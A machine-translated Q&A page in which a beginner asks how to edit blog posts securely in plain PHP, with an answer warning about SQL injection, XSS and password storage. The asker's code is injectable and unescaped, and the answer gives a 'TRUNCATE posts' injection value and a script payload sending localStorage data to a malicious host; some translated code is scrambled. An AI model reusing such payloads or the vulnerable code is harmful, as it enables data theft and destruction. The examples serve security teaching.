2017-10-10 15 views
0

私はPHPとSQLの初心者です。私は簡単なブログを作っています。私はあなたがブログを投稿するindex.phpとブログ投稿を表示するblog.phpを持っています。 blog.phpの各ブログ投稿の下に編集リンクを追加したいと思っています。この編集リンクをクリックすると、別のページでブログを編集できます。私はフレームワークを使用せずに、これを行う最も安全な方法が何であるか疑問に思っています。ここblog.php上のコードは次のとおりです。ブログ投稿を安全に編集する

<?php include("session_start.php")?> 

<?php 

$sql = "SELECT * FROM posts WHERE user_name='$user_name' ORDER BY post_date DESC"; 

$result = mysqli_query($connection, $sql) or die(mysqli_error($connection)); 

?> 

<html> 
    <head> 
     <title>Blog</title> 
<!-- Latest compiled and minified CSS --> 
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" > 

<!-- Optional theme --> 
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" > 

<link rel="stylesheet" href="styles.css" > 

<!-- Latest compiled and minified JavaScript --> 
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 

    </head> 
    <body> 

<div class="container"> 
    <div class="row"> 

<div class="align-right"> 
<a href='index.php'>Post a Blog</a> | <a href='account_settings.php'>Account Settings</a> | <a href='logout.php' onclick="return confirm('Are you sure?')">Logout</a> 
</div> 

<h1>Blog</h1> 

<?php 
while($column = mysqli_fetch_assoc($result)){ 
?> 
<h2><?php echo $column["post_title"]?></h2> 
<div class="view-post-content"><?php echo $column["post_content"]?></div> 
<p class="category">Category: <?php echo $column["post_category"]?></p> 
<p>This post was written <?php echo $column["post_date"]?>.</p> 
<?php 
} 
?> 

</div> 
</div> 

</body> 
</html> 

<?php include "footer.php";?> 
+0

あなたのPHPアプリケーションにおけるユーザ認証設定の任意の並べ替えを持っていますか?これはおそらく最初の場所です。ブログ投稿を囲むリクエストごとに、PHPはユーザが自分が誰であるか、与えられた投稿を閲覧/編集/削除する権利を持っていることを確認します。 –

+0

"安全な方法"について言えば、あなたは単にブログの投稿を編集する必要がある場合は、ブログの投稿IDを編集ページに送信し、そのIDによってデータベースからブログデータを取得するだけです。 – arisalsaila

+0

しかし、他の人がそれらのIDを推測してページにアクセスすることができるように、ブログIDはやや安全ではありませんか? – Julian

答えて

0

は、一言で言うことはできませんが、「あなたのコード例に基づいてヒットを作ってみると、いくつかの基本でしょう。

  1. SQLインジェクション

    $ SQL = "post_date DESC BY投稿USER_NAME = '$ user_nameの' ORDER SELECT * FROM";

    $user_name = "'TRUNCATE posts;"

  2. XSS(クロスサイトスクリプティング) 場合は、悪意のあるユーザーがクライアントスクリプトを注入することができるので、あなたのような値を持つことになります保存された記事を表示しますときことに注意する必要があります場合は、たとえば何が起こったのかを推測します:

    $ post = 'うわー、クールなブログ! <スクリプト> $ .post( 'http://malicious.org/'、{} localStorage.STOLE_USER_DATA_N_PASSWORDS)< /スクリプト>」暗号化された

  3. ストアセキュアなデータ(生でDBにpasswodsを保存しないでください) 常に彼らは他の多くのもの、たくさんあり http://php.net/manual/en/function.crypt.php

、でもこの本になりますそれをすべてを言及陰窩。 しかし、あなたはこれらのいくつかのヒントの周りを再生する場合は、あなたを助けるでしょう。

そしてofcourseのグーグル、グーグル、読んで... :)

関連する問題